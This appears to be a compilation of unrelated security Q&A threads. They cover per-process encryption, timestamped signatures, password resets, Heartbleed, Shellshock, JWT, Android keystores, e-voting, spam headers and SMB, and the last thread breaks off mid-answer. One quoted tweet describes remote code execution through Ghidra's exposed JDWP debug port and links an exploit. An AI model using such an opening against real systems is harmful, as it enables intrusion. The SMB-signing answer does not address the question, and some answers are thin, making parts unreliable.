Modeling a per-process file based encryption for linux I’m trying to model & implement a transparent file-based per-process encryption solution for linux.
I want each process have its own files encrypted. I want to block firefox from reading my gpg private key for example (let’s say my priv key is not encrypted by default)

Currently is as follows:

Hook the syscall wrappers (through a library injected with LD_PRELOAD globally) for file access (open, openat, read, write, creat, close) and check if the path to be access is covered by the encryption (for example ~/.mozilla). if the path is not called, regular function is called.
Ask the key manager (a privileged daemon) for keys through a unix socket
Encrypt (on write/append/create) or decrypt (on read) the data

My questions are:

I’m using recvmsg/sendmsg to find the pid that asked for a key. Can an adversary tamper with it?
I’m using /proc/*something*/exe to find the path of the pid’s executable. is that safe (can a process fake it?)
The key manager gives the same key to processes with the same exec path and uid. is there a better way to model it?

I think what your looking for is isolation, such as Docker for sandboxing.
LD_PRELOAD may work for the crt, but it won't work with direct syscalls, so it may not work for many applications and defeats the whole purpose of your preload.
Keep in mind that modern browsers implement pretty tough sandboxes.
You may want to look into SELinux, which is designed to solve these kinds of problems by giving every file/process/packet a context


What are the real-time applications of long term digital signature with timestamp I want to know the real time applications that uses digital signatures with timestamps. Specially I am interested to know the applications where we can trust an old signed document which is now expired.

Digital signatures "expire" because a signature is performed with a private key and verified against the corresponding public key. The public key is linked to an identity (e.g. a legally defined individual) through certificates. The usual standard for certificates (X.509) specifies that certificates expire. Beyond the expiration date, the certificate shall not be used any longer; thus, a digital signature on a document expires: beyond a certain date, it is no longer verifiable. Since user certificates typically expire after two or three years, this is a problem for "real-life" signatures, e.g. on business contracts.

Why do digital certificate expire ? There are several answers. The scientific answer is that a certificate "guarantees" exclusive control of the private key by its designated owner, and no Certification Authority wants to make such a guarantee without any limit in time; also, technological advances could make a given key weaker over time, thus warranting a definite end-of-life. The cynical answer is due to Peter Gutman:

  Perhaps Validity could simply be renamed to RenewalFeeDueDate to
  reflect its actual usage.

Either way, signatures expire. How do we solve that ? With another signature ! Namely, a time stamp. The time stamp is a proof that a given "document" (a sequence of bits) existed at some past date; internally, it is a signature computed over a structure which contains the date at which the time stamp is issued, and a hash of the time-stamped document. The Time Stamping Authority is responsible for maintaining an accurate clock and never to sign a structure with a wrong date.

The idea is then the following: at some time T, we take the initial document, the signature, and all the involved extra objects (all certificates, CRL and other elements) which are used to verify the signature at time T. We assume that at date T, the certificates have not yet expired. Then we put all that in a big bag (imagine it as a Zip archive) and we obtain a time stamp from an adequate TSA. At a later date T', we can verify the time stamp to be valid, and thus we make sure that the whole bag and its contents already existed at time T: therefore, we can imagine ourselves projected back to time T, and we can verify the signature as if the current date was T -- even if, meanwhile, some certificates have expired (i.e. at date T', without the time stamp, we would no longer be able to verify the signature).

Since a time stamp is itself a signature (indeed, have a look at RFC 3161: time stamps are a special case of CMS signatures), it is also subject to expiration. So we have to recurse: at date T'', while the time stamp is still verifiable, get the time stamp and whatever certificates are needed to verify it into a new bag, and have an extra time stamp issued for that bag. And so on. This is like old bare-metal buildings like Eiffel Tower: they can last forever as long as you take care to cover them with a fresh layer of paint regularly.

Details are arcane and intricate. For relevant standards, see:

Evidence Record Syntax: a format for encoding the sequence of successive time stamps. Also includes provisions for recovering from cryptanalytic breaks on hash functions, and uses a smart time stamp sharing mechanism with hash trees.
CAdES: an extension of CMS, for signatures with embedded time stamps and provisions for the time stamp layers.
XAdES: like CAdES, but with XML in lieu of ASN.1 (but the certificates are still ASN.1 based, so XAdES is like Chimera -- alas there is no corresponding Bellerophon to slay it).
PAdES: like CAdES, for PDF files (the signature, certificates, time stamps... get inserted into the PDF file itself; that's what Adobe Reader supports).

Summary: time stamps are a time travel device, but the traveller is just a virtual verifier for signatures.


Password recovery flow - Send Password recovery to any email? I am building a new MVC app.
Considering this "forgot password" flow:

1)You enter an email.
2)You press "send recovery password".
3)An email awaits in the inbox, pressing the link in it brings you to "new password" screen.

In phase 1, there is no limitations on the email you provide. (It may not even exist).

Are there any major security flaws with this flow?

Possibly.  It's not immediately clear if you are relying on the email address as the sole identifier (i.e. you're using it as the username) or if a separate username is in play.  If the latter case, then the obvious flaw is that an attacker can supply the username of someone else, but provide their own email address as the destination for the recovery password.

Assuming the email address is the only identifier for a user, obviously it will need to be supplied by them in order to reset their password.  I would suggest that regardless of whether an account associated with that email address actually exists, the system should respond similarly.  (E.g. saying "Your password recovery information has been sent.")  However, you would obviously only want to send the recovery email if there is a corresponding account; if no such account exists there is nothing to recover.  This prevents an attacker from trying multiple addresses to see which succeed and which fail, and thus building a list of valid accounts on the system.  (If your application is faster to respond if it doesn't need to send the email, you may wish to intentionally add a random bit of time delay to hide that.)


Can an HTTPS server accidentally leak its private key? Are there any known cases of HTTPS websites leaking the private key of their SSL certificate? Is it even technically possible for a bad website admin to misconfigure a site to send the private key as part of the certificate chain?

Are there any known cases of HTTPS websites leaking the private key of their SSL certificate?

Yes - the Heartbleed bug involved memory leaks out of the HTTP server such that:

  We attacked ourselves from outside, without leaving a trace. Without
  using any privileged information or credentials we were able steal
  from ourselves the secret keys used for our X.509 certificates, ...

Aside from bugs like that,

  Is it even technically possible for a bad website admin to
  misconfigure a site to send the private key as part of the certificate
  chain?

Sure.  If you specify the wrong file in, for example, SSLCertificateChainFile then Boom!  There goes the private key.

As @duskwuff points out in the comments, there are protections against this.  Neither Apache nor NGINX will send a key PEM that's included in a certificate file; they will silently strip it out (which, I'm willing to bet, is a protection put in place after some number of events where people did what I suggested might work).

Other misconfigurations, such as incorrect web root combined with loose permissions or excessive web server privileges, will also leak the key, but those misconfigurations are both mundane and extreme (e.g., you really have to be trying to break things that badly).

Doing so is not recommended.


Can application connect to database without exposing password to anyone? I have a web application. The application needs to connect to the database to read/write information. The database can be accessed with username/password or certificate.

Is it possible, somehow, to encrypt all this communication so even the Application administrator/OS administrator cannot see database password in plaintext while the application still has access to it?

I guess you can encrypt secret data with solutions like hashicorp vault... But still, the application will need to have the decryption key/token to read encrypted secrets, and in this case, the application administrator can look at application runtime and read data in plaintext.

It depends on your database. Trying to protect a resource where the resource is physically compromised by a bad actor is a hard problem because the bad actor has access to all resources: disk, network and memory. I'd be tempted to threat model the application and consider how you can mitigate the bad admin.  If you don't trust the admin then there you do have a problem, but it might be that you can store credentials in an external source such as a Hardware Security Module.  There is a whole industry around privileged account management where companies such as Cyberark claim that they can control access to your database.  These products typically record privileged account access: they won't stop an authorised person going on a frolic of their own.

For the specific question of how to prevent someone with full access to the environment from reading a specific file: it's not possible.  You could try to set access permissions ownership etc but you can't stop someone who has the access from getting to it.  Putting the data into an HSM to which the actor does not have access will mitigate but you need to ensure that your database can talk to the HSM.

To really prevent someone who has legitimate root/admin to the system I think you will need to split up the systems to implement segregation of duties, then change your database authentication model: one admin looks after the user credentials store while the other admin looks after the database.

You could require every individual user to have their own login to the database.  The web app then performs the login, assuming the admin can't hook into the web app (which they can). Perhaps not scalable, but possible.

For MS SQL you can use Windows authentication mode. doc This uses the windows authentication to the domain via kerberos.  Your admin won't be able to get the credentials.  You could of course have a service account and put that service account in a domain that your DBA does not have access to

For MySQL you can use LDAP via the pluggable authentication link

For Oracle take a look at Oracle Key Manager link


Which KDF should be used for ECIES? According to Wikipedia, ECIES requires a key derivation function.
I already have an implementation of PBKDF2-HMAC-SHA256 in my library, so I could use this.

Is PBKDF2-HMAC-SHA256 (salted of course) sufficient as KDF? Or should I use another KDF?

Why would you do that? It's the Password-Based Key Derivation Function 2, and ECIES doesn't work with a password but with a DH shared secret, thus not suffering from the same issues that plague passwords (such as low entropy-density).

Not to say it wouldn't suffice, but if you need something a straight hash or HMAC doesn't provide, KDF1 and KDF2 are your friends.


Secure way to save connectionString in .NET? I'm developing a application which is not static for me. This means that creating a WebService for my connectionString will not work I guess.

Because my application works a bit like Wordpress. First you tell the application your database connectioni nfo and then the application will connect to the database. But how do I secure this connectionString?

For now I saved the connectionString in app.config which is a problem too because I can't use Settings.Default.Upgrade() when new version is out because it only upgrades the <userSettings> and not the <connectionString>.

I also tried to secure my connectionString with RSA which is a problem too, because I can't use the same programm on other PC's (for example you have a company with two employees and both have to use the programm and have access to the database).

I never worked with a WebService and I guess it will not work for me because the database connection is different for each person using the application (like it is with Wordpress).

If you have different users connecting to the same database directly the only way to make it secure is to allocate each user a different database account (/password) with rights only to access their data - although this is easier said than done while maintaining a sane database layout.

If each user uses the same connection string then this means that anyone can pull the connection string out of the application and run queries directly against the database. Any kind of encryption is useless - if the app can access it at run time it needs the key. Which means anyone with access to the application files can get the key too.

An alternative would be to proxy the connection through a service which users must authenticate against (usually with a username and password). You can have them store their username/password into the application so they don't need to provide it on every launch or even store a cookie / auth token once successfully authenticated. Normally these days that would be an HTTPS based REST service. The client application sends the request to the service. This verifies the user is allowed to perform that request and handles it returning the information. This comes with the added benefit that the database can be firewalled off.


Export env variables on the server? (Shellshock) I was just reading about Shellshock and how it works.
From what I understood it exploits the fact that the code is being executed even after the export of the function definition which is exported as an env variable.

Why isn't the fact that you can set environmental variables on a server a big security issue of its own?

The attacker isn't setting environment variables on his own.  What's happening is that the CGI specification for communication between a web server and CGI executables says that a number of parameters (such as HTTP headers) are to be passed as environment variables.

This means that an attacker can't set sensitive variables such as PATH or LD_LIBRARY_PATH, but they do have control over ones such as HTTP_USER_AGENT.  The "shellshock" attack doesn't care what environment variables it uses, it just needs the ability to make one of them (any one) look like a bash function.


Risk of eavesdropping when using private and encrypted WiFi network but no TLS Of course, normally I would use HTTPS, but that's not an option in a potential scenario I don't want to get into...

This question is similar to Is it possible to secure a web app without HTTPS?, except there is no internet involved: only two devices and a good+updated access point (aka router).

How secure is the exchanged information in the following scenario:

Server has no internet, only a LAN port to a wifi router which also has no internet.
In the router config, a new WPA2 PSK (AES) key is applied, 15 letters+numbers long, generated by a CSPRNG.
Another computer, "Client", connects to the router's wifi using the brand-new key and uploads a secret 50kb file to Server over HTTP (no S).
In the router config, a brand-new PSK like above is immediately applied
This whole time, Eve has been hiding outside with something like airdump/wireshark, perfectly recording all the Wifi traffic.

I've looked into tools like  https://www.aircrack-ng.org/, but they seem to require a lot of traffic to recover PSK2 keys.
I'm not an expert in this area, but it seems to me that if a lot of traffic can reveal the key, a small amount of traffic might reveal the key.
If there was only the roughly 50KB worth of traffic (no de-auth, injection, etc), and the key was only active for those 30 seconds, and never used again, is there enough captured info for Eve to possibly recover the 50KB document?

I assume recovering the key is the same as being able to recover the uploaded document, but if not, my concern is not the temp key, it's the document contents.

If there is some chance of interception, is there any way to quantify/estimate the chance mathematically, based on the above figures?

Assuming Eve is not on the same WiFi network and the key is as you say very long + complex and Eve would happen to sniff the WPA2 handshake/sends deauths till she can sniff the handshake. Even then she would have to brute force the WPA2 key before being able to decrypt the packets that she has sniffed as well.

So if she is not connected Eve will need a lot of computer power to pull it off and that would still be impossible at this moment.


Client certificate authentication in TLS Can someone please explain me how the client proves its identity to the sever and how authenticity of the client certificate is verified by server?

Let’s assume server is configured to ask for client certificate during handshake.

Thank You

The basic principle for client certificate authentication is the same as for server certificate validation.

It is assumed that a Certificate Authority (CA) is trusted to sign certificates for clients, so verifying that the certificate is signed by a Trusted CA confirms the identity of the client.

Since authenticating a client is usually the responsibility of a private entity (like a corporation), most client certificate authentication operates with a "self-signed" CA. The CA certificate is then loaded into the server application and client certificates on incoming connections are compared against the CA certificate.


Is there a way to ask cracklib-check to go through a list of passwords? I know cracklib-check can be used to check individual password, like -

$ echo "12345" | /usr/sbin/cracklib-check
12345: it is too short

If not wanting to be super-user as on Debian it requires to be superuser/root. The other way is of course to be superuser to do the same thing. I am/was wondering if there was a way to do in a list. Let's say I have a list of passwords which I would like cracklib-check to check against, is it possible ? If yes how ?

Yes - by piping in the list of candidate passwords from stdin.

$ man cracklib-check | grep -A 1 DESCR
DESCRIPTION
       cracklib-check takes a list of passwords from stdin and checks \
       them via libcrack2's FascistCheck(3) sub routine.

$ cat test.txt
pass1
pass2
pass3

$ cat test.txt | cracklib-check
pass1: it is too short
pass2: it is too short
pass3: it is too short


token based authentication attacks JSON Web Token seems to be a very good tool to authenticate users. But I wonder if an attacker can take the token used by another user and use it for his own attacks.
And to be more precise what makes this method more secure.

You can prevent replay attacks in JWT by specifying the following claims in your JWT: jti (unique identifier), exp (expiration time) and iat (creation time). The JWT spec clearly states that jti claim can be used to prevent a JWT token to be replayed. From the spec:

  The "jti" (JWT ID) claim provides a unique identifier for the JWT.
     The identifier value MUST be assigned in a manner that ensures that
     there is a negligible probability that the same value will be
     accidentally assigned to a different data object; if the application
     uses multiple issuers, collisions MUST be prevented among values
     produced by different issuers as well.  The "jti" claim can be used
     to prevent the JWT from being replayed.  The "jti" value is a case-
     sensitive string.  Use of this claim is OPTIONAL.


Forget LUKS password after mounting or lock LUKS partition when unmounted When I unmount a LUKS partition using Nautilus, it gets unmounted and locked.

Using the command-line, I have to:
sudo cryptsetup luksClose encrypted_volume
after unmount, otherwise, re-mounting the unlocked volume is possible.

Can I make the locking automatic when unmounted?

I wonder how the system keeps the data accessible. Where is the password stored after it is unlocked, and what does it mean to forget the password after unlocking? How can the data be available if the system forgets the password?

cryptsetup won't automatically remember your encryption password, but when used in conjunction with Nautilus, you are given the choice to have Nautilus remember the password (which is generally VERY BAD if your home partition is not encrypted because anyone with access to it would then have full access to your "encrypted" drive).

When unmounted by Nautilus, the encrypted volume is first locked. If you chose for Nautilus to "remember" the LUKS password, it will not "forget the password after unlocking," but rather store it on your hard disk.

As for your last question of how the data can be made available if your system forgets the password, the simplest solution is also the most effective: remember it yourself (and type it into the prompt manually when going to mount the encrypted volume). If you need to have an easy-to-remember password that's secure, look up the XKCD method for secure passwords. (Or, you could be like me and memorize a 50-character random alpha-numeric-symbolic character string.)


Are expired keys eligible default keys? From GnuPG's man page:

  [...] the default key is the first key found in the secret keyring.

Are expired keys eligible default keys? Or should I manually set the default key in gpg.conf?

I'm asking this because I've read somewhere the expiration date in OpenPGP is more of a notification mechanism and can be changed even after a key has expired.

I'm asking this because I've read somewhere the expiration date in OpenPGP is more of a notification mechanism and can be changed even after a key has expired.

OpenPGP's expiry date is generally fine, but is no security feature (considering the primary key). I discussed the expiry date in depth in Does OpenPGP key expiration add to security?.

  Are expired keys eligible default keys?

This can easily be tested by generating two keys, the first expiring next day, the other one without expiry date. faketime allows to travel into future without fiddling with your system time.

$ gpg -K
sec   1024R/644AC000 2016-07-09 [expires: 2016-07-10]
uid                  Foo Bar <foo@example.org>

sec   1024R/0457686A 2016-07-09
uid                  Batz Quix <batz@example.net>

Using the default key for signing, immediately after key creation:

$ echo foo | gpg --sign

You need a passphrase to unlock the secret key for
user: "Foo Bar <foo@example.org>"
1024-bit RSA key, ID 644AC000, created 2016-07-09

Now let's travel in time and see what happens the day after tomorrow:

$ echo foo | faketime '2 days' gpg --sign

You need a passphrase to unlock the secret key for
user: "Batz Quix <batz@example.net>"
1024-bit RSA key, ID 0457686A, created 2016-07-09

  Or should I manually set the default key in gpg.conf?

Just to be sure, I'd do so anyway: barely any effort, and better have GnuPG fail with an error message than doing "weird stuff" just because the system time was wrong or something like this. And as you're at it, use the full fingerprint -- especially short key IDs (as listed in the example output above) are insecure.


WiFi Hacking - Certificate based authentication instead of password I would like to know if using a certificate based authentication instead of a WPA2 password in a WiFi network would be secure or insecure in terms of is it breakable or not?

Since WPA2 can be dictionary guessed or brute forced. How does it look like when using certificates?

Certificate is always better solution than username/password or pre-shared key. But if you will use multifactor authentication (i.e. username+password+RSA token/Google Authenticator/SMS/whatever) i would say it secure enough against such types of attacks. Even strong password and following of the recommended password change policies is fine.


How safe are hardware-backed keys in Android, when crypto operations take place in memory? In the code of KeyStoreUsage from the android developer samples I see the following snippet:

            KeyStore ks = KeyStore.getInstance("AndroidKeyStore");
            ks.load(null);
            KeyStore.Entry entry = ks.getEntry(alias, null);
            if (!(entry instanceof PrivateKeyEntry)) {
                Log.w(TAG, "Not an instance of a PrivateKeyEntry");
                return null;
            }
            Signature s = Signature.getInstance("SHA256withECDSA");
            s.initSign(((PrivateKeyEntry) entry).getPrivateKey());
            s.update(data);
            byte[] signature = s.sign();

What is the benefit of storing keys in hardware, when all the crypto operations take place in normal memory? As I understand the architecture of android the apps are sandboxed so it would be secure, if the device is not rooted. But if it is rooted the unencrypted private key could be extracted from memory, right?

Is there any possibility in android devices (besides using UICC or dedicated microSD-HSM) to do all the crypto operations in the same hardware where the keys are stored, so the private key remains save even if the device is rooted?

EDIT

As it seems there's a little misunderstanding regarding my question, I'll try to clarify it a little bit. I'm well aware that normally hardware-backed keys are not exportable, I've already been working with HSM-Appliances from Utimaco and Luna. I just wondered about key-security in Android, because the documentation is not clear to me. On the one hand it states that keys are safe and hardware-backed (which means not extractable to me), on the other I find code-snippets like the one above which clearly indicate that the keys are extractable. So I wondered if I got things completely wrong and there is a standard way (not SEEK) in newer android versions to store keys in hardware in a way that they are not extractable and let the hardware do all the crypto-operations.

EDIT 2

Well, I feel a little silly now. After doing more research I found that I had a really narrow understanding how things work (and some misunderstandings due to the fact I'm no native speaker). As Steve already said the PrivateKey-objects are only handles, not the keys themselves. The JCE-provider is responsible how to deal with the keys referenced by these handles. In case of hardware-backed keys the keys will stay in hardware and all the operations that look like they are done in memory (on the first look) will be delegated to the hardware. So Steve's answer is right. Please bear with me for making things a little complicated...

There might be a critical misunderstanding here...

  when all the crypto operations take place in normal memory

Normally when the key is stored in hardware it can never be removed from the hardware, and as such it actually cannot be used in normal memory. The actual crypto operations take place in dedicated crypto hardware.

  HAL implementations must not perform any sensitive operations in user space, or even in kernel space. Sensitive operations are delegated to a secure processor reached through some kernel interface. Source

What the code offers is simply an abstract interface to interact with the key. What's actually going on is the system is handing off the requests to the crypto hardware and then just waits for a response.

With that said, the whole system offers no protection at all if the key is moved into memory for crypto operations.


«Secret ballot» requirement for a distributed e-voting system There are lots of discussions about electronic voting vs paper-based voting and technical concerns about it. So here's another one.

There are some concepts that are very similar to cryptocurrencies like bitcoin.
Suppose such open distributed cryptography-based voting system.
One popular concern about such system is that results of voting will be available to all users all the time. Instead, the results should be kept in secret until the voting is complete.

Is that technically possible to solve this problem? How?

For example, suppose that users of such system can only make votes and they are not able to decrypt the whole database.

There's also a private key that allows to decrypt the database (but doesn't allow to change the database). This key is stored by a person on an offline device. Since the voting is complete this key is getting published so everybody can observe the results.

Is that a naive approach? Is there a better one?

That approach wouldn't work, since when the secret key is published, whoever did vote what, would still be available.

If you want to provide a simple voting system, its better that eligible voters, are given a key by you. This key are generated in a such fashion that it can be verified that its a valid voting key and not a key home-generated by some rogue user.

One thing to accomplish this, is that a random private key (Elliptic Curve) is generated. This generated key, call it Kr, is converted to a public key (EC), Pr. After this, you MAC Pr with a secret key, Ks, eg MAC(Pr, Ks) = V. V is a hash, that should contain a secret validation string Vs. This string (Vs) should be same for all votes, but kept a secret.
If the result of MAC does not contain the specified validation string, then a new private key is generated. (eg, Think "brute-forcing" until a private key that has the valid verification value appears, Think "vanitygen" in bitcoin. A malicious party cannot do this since he does not know the MAC key or what the result substring should be.)

Eg, in other Words, Generate a secret key Kr, such as the MAC of the corresponding public key combined with a secret MAC key, gives a hash result, which contain a specific secret substring.

Repeat this until enough secret keys are generated so theres one secret key for each voter.

When time for voting, after a successful secure voting identification, give the voter one of the random secret keys. Check off the voter in a list, eg so he cannot check out multiple secret keys. This can be done online.

Voter votes by signing the vote and publishing this in the public ledger.
Since the public key cannot be linked to a voter, its not possible to link votes to voters.

First (valid) vote is what Counts, and when the voter has voted, he is encouraged to publish his key, possible anonymously, and/or display it for friends. The reason for doing this, is to prevent a key to be linked to a voter post-vote, which prevents coercion. This also prevents the voter from proving what he voted for, to someone, because he could just have taken some other's key to prove he voted "right" (when he actually voted "wrong").

Actually, the voter can generate his own fake key, and the publish a fake vote, that will not be counted, using this fake key, and then use that fake vote to "prove" he voted "right" to a coercier. The coercier cannot detect that the vote is fake Before the authorities publish the Ks and Vs.

However, the publishement must be delayed so all the nodes have recorded the vote Before publishing the key. Of course the voter must check that a couple of random nodes have recorded the vote correctly. The reason for this, is that if the vote is withheld by one or more malicious nodes, they can change the vote using the published key. By delaying the publishing of the key until the nodes have published the vote, its not possible to change the vote after that.

When voting are over, the authorities publish the secret MAC key (Ks) and the secret validation substring (Vs).

Anyone can now tally the votes using the public records. The first valid vote (invalid vote could be voting "what?" in a yes/no vote) of each key that succeeds MAC validation with Ks and Vs, is a valid vote. Any other votes are ignored, eg double votes or "home-generated" keys. Nobody can cheat the voting system.
If the number of valid votes exceed the number of eligible voters, fake votes have inserted, either by a malicious party that "accidentially" created a valid key by chance, or a malicious state inserting votes in the system.

Such fake votes should not be reacted upon unless theres a Close call, eg there is a possibility that the fake votes affected the outcome. A "yes/no" vote where the result is 90% yes, such vote is not gonna affect the outcome unless more than about 40 % of the votes are fake.


I received a spam, how can I understand it in order to report it? I recently received a spam (see bellow) from a french e-commerce company (which I don't have an account on it) asking me for my personal address because I won a wonderful price.

This is the link provided to me in order to specified my address in the mail. I didn't click it, and I removed a t from http bellow for disabling the link on the site.

This is probably a bad website, beware if you want to reach it!

htps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&cad=rja&uact=8&ved=0ahUKEwjuwt2ThtHOAhVBtBQKHazUCYoQFggrMAI&url=http%3A%2F%2Fwww.wholesalejaipurkurti.com%2Fleggings.html&usg=AFQjCNEs0WUDSZfjLSIsCiInWYzGG6ELLA&sig2=RSUPjVa49dAurAZEz5WS9w&bvm=bv.129759880,d.d24

Moreover, in the mail, there are a lot of images with the same kind of link. (Thx to thunderbird for disabling retrieving the remote images). As I understand those links, google will redirect me to a website (www.wholesalejaipurkurti.com) which has definitely been corrupted.

  Received part in the Source code of the mail:

Received: from AM3PR07MB1138.eurprd07.prod.outlook.com (10.163.188.12) by
 VI1PR07MB1149.eurprd07.prod.outlook.com (10.163.168.146) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.587.9 via Mailbox Transport; Sun, 21 Aug 2016 03:00:52 +0000
Received: from HE1PR0701CA0001.eurprd07.prod.outlook.com (2603:10a6:3:5::11)
 by AM3PR07MB1138.eurprd07.prod.outlook.com (2a01:111:e400:536f::12) with
 Microsoft SMTP Server (version=TLS1_0,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384) id 15.1.549.15; Sun, 21 Aug
 2016 03:00:52 +0000
Received: from HE1EUR01FT007.eop-EUR01.prod.protection.outlook.com
 (2a01:111:f400:7e1f::204) by HE1PR0701CA0001.outlook.office365.com
 (2603:10a6:3:5::11) with Microsoft SMTP Server (version=TLS1_0,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384) id 15.1.587.9 via Frontend
 Transport; Sun, 21 Aug 2016 03:00:51 +0000
Received: from BAY004-MC1F53.hotmail.com (10.152.0.57) by
 HE1EUR01FT007.mail.protection.outlook.com (10.152.1.243) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.577.8 via Frontend Transport; Sun, 21 Aug 2016 03:00:51 +0000
Received: from mout.perfora.net ([74.208.4.196]) by BAY004-MC1F53.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23143);
   Sat, 20 Aug 2016 20:00:44 -0700
Received: from web02-03 ([217.40.22.124]) by mrelay.perfora.net (mreueus002)
 with ESMTPA (Nemesis) id 0LsS5u-1b8wK21Z5k-011y0d for <MYADDRESS>;

CMM-sender-ip: 74.208.4.196
CMM-sending-ip: 74.208.4.196
CMM-Authentication-Results: hotmail.com; spf=none (sender IP is 74.208.4.196)
 smtp.mailfrom=cdiscount@webmail.123-reg.co.uk; dkim=none
 header.d=webmail.123-reg.co.uk; x-hmca=none
 header.id=cdiscount@webmail.123-reg.co.uk
CMM-X-SID-PRA: cdiscount@webmail.123-reg.co.uk

Note: I removed my real email address, and changed it with "MYADDRESS".

74.208.4.196 has already been reported as SPAM here.

What can I do in order to report this spam? to whom (email provider, website administrator...)? I have some ideas, but I prefer to be sure before reporting anything.

I don't think that it makes any more sense to report such a single spam by yourself. You are very lucky or you have a provider with a good spam filter if you don't get lots of these spam. Trying to report everything just does not scale.

Instead ISP and specialized companies fight spam on a more global scale, for example by using honey addresses to collect spam and then automatically look for pattern in content or delivery. Also spam filters inside modern mail clients usually do a good job of detecting spam as long as any undetected spam is marked as such so that the filter can learn.


Does GHIDRA have a debugger? Does GHIDRA have a debugger attached for dynamic analysis of application?

Edit: As the question is a little unclear there might be a misunderstanding. From my point of view there are 2 possible answers:

GHIDRA does not offer a debugger for other binaries currently. (It is a planned feature)
GHIDRA has a debug mode to debug GHIDRA itself. This debugger is even
accessible from the network, as the exposed port is not only locally bound.

Hacker Fantastic on Twitter:

  Ghidra opens up JDWP in debug mode listening on port 18001, you can
  use it to execute code remotely ♂.. to fix change line 150 of
  support/launch.sh from * to 127.0.0.1 https://static.hacker.house/releasez/expl0itz/jdwp-exploit.txt


Whats a good backup policy for application with 0 hours RPO? In my company, we have business critical applications with 0-hour RTO (Recovery Time Objective) and RPO (Recovery Point Objective) requirement. Usual strategy to ensure the RPO objective is to have regular backups (let’s say daily incremental, weekly full) and ensure the database is mirrored in real time into two geographically separate datacenters.
This a good setup in case one of the datacenters goes BOOM. Application service is redirected to the other one and no data is lost.

But let’s say that a business application is compromised and starts deleting data from the database. The deletions are then mirrored to the other datacenter and restore is only possible from the last full/incremental backup image.

What is a good strategy to prevent this scenario and ensure that the 0 hour RPO requirement is met?

Many relational databases can be configured to store transaction logs in addition to the actual data.  These transaction logs store the changes that have been made to the data.

A common approach is to back up the database on a regular database, and then keep the transaction logs.  Then a data corruption type disaster of the type you described can be recovered from by restoring the database to the last backup, followed by rolling forwards the transaction logs to the point in time just before the disaster happened.

This would typically be combined with real time replication to a 2nd Datacenter to cope with the Datacenter destruction scenario.


How SMB signing works? SMB signing is used to prevent illegitimate modification on SMB packets. It is also used to prevent attacks like SMB relay.

There is not much documentation on SMB signing. The only thing I understand about it is that a session key is used to encrypt these packets, but I don't know how it is generated, and what is really encrypted.

Do you have more information about it?

Thanks.

One of the iOS projects I’ve been working on required communication with printers over SMB. As it turns out, iOS has absolutely no support for SMB. There are solutions for Linux, and Android, but porting any of these to iOS appeared to be quite an ordeal. After multiple attempts at that, I ended up implementing SMB myself. Then I extracted that code as a separate project (smb4ios). Here is some documentation from it, in case you’re interested in how SMB works.

First of all, what’s SMB. Initially (like in 1980’s) it was a protocol to access file shares. Since then, file shares evolved a lot, SMB however didn’t. Why is it still relevant then, you ask? Because it’s an integral part of Windows. There’s no “SMB standard”, there’s only “the way SMB works on Windows”. So, when we speak of SMB, we are interested not only in SMB itself (file system layer), but also in NetBIOS (transport layer), NTLM (authentication), and RPC. They all are kind of grown into each other by now, forming a monstrous layered ancient onion creature. So, from implementation perspective, you’ll have to deal with all of them simultaneously.

Let’s start with TCP. TCP is a low-level network protocol. When you want to send some data to network and other computers, you create a TCP socket, connect it to an address, and jam the data there. The socket takes care of packaging and delivery.

SMB is a transport protocol, kinda like HTTP. You should know that HTTP is basically when we send some extra information over TCP to describe what kind of content will be exchanged. SMB is the same, but over NetBIOS.

NetBIOS is basically a really old version of TCP. OSX and iOS do not have an implementation for it. Fortunately, it’s simple and can be implemented over TCP. So, this code is SMB over NetBIOS over TCP (aka NBT).

SMB was also called CIFS on some point, they are the same thing. There’s also SMB 2, which doesn’t work on Windows XP, so is irrelevant to me.

Now, first thing we need is to find the SMB servers in our network. That’s done by NetBIOS name queries. Basically it sends an UDP broadcast to a broadcast address (such as 255.255.255.255) and asks “who has this name?”. Then someone in the network may answer with his IP. There’s a main guy in NetBIOS network with a pre-defined name “master browser”, we ask for his IP first. Then we can ask him who else he knows, and that’s how we get domains and groups and server IPs.

Now that we have an IP, we can connect a TCP socket to it and run SMB messages.

First thing the server will want is for us to login under some user. You do the login by sending NTLM packets within SMB Session messages.

NTLM is when you use extremely complicated cryptography to encode and decode username, password etc. I used a 3rd-party library for that (see link below).

After login, you have basically opened a remote session with a Windows machine, and can run Windows API functions just like you normally would, if you were a Windows C++ application. You do that by sending RPC commands within SMB Transaction messages.

In short: RPC is a Windows API function code plus parameter buffer, which you wrap in SMB message. You can call functions like EnumAll, OpenPrinter, etc.

More details: Normally, to call a function with certain parameters, you need to push these parameters to stack. Which logically means all the neat C structures and variables you, the human, work with, are packed into a memory buffer and then that buffer is unpacked into the same pattern of structures and stuff inside the function (not what really happens). In RPC, you just provide the function code and the buffer. Which for some people means you should replicate the C structures and then pack them the same way. But in my opinion, nothing stops you from just dumping your data straight into bytes, as long as the end binary result is the same.

And that’s how it works: you find IP with NetBIOS, connect via SMB, send NTLM authentication, then run RPC commands. Use Wireshark, it’s a huge help, and I would be nowhere without it.

References:

SMB: [MS-SMB] at http://msdn.microsoft.com/en-us/library/cc246231.aspx
RAP: [MS-RAP] at http://msdn.microsoft.com/en-us/library/cc240190.aspx
DCE-RPC: http://pubs.opengroup.org/onlinepubs/9629399/chap12.htm
NetBIOS: RFC 1001 and 1002 (I dare you to actually read it and not go insane), http://www.ubiqx.org/cifs/NetBIOS.html
NTLM: http://www.nongnu.org/libntlm (the library I used)


Dangers of searching "safe" websites using Windows XP? I have software that only works with Windows XP.  I have a computer that runs Windows XP.  It has a firewall and up-to-date antivirus software.

Though I have several other computers running Windows 7, I have never "networked" them to the XP computer.  They only use the same wifi connection as the XP computer.

I want to use the XP computer for the outdated software and to occasionally go online.

What are the risks?

If I only visit safe websites, am I still in danger?  Is there any danger to my other computers?

Things are going wrong here, horribly:

  I have software that only works with Windows XP.

Okay. That tends to happen from time to time.

  I have a computer that runs Windows XP.

That is good, because of the need to run the software, probably.

  It has a firewall and up-to-date antivirus software.

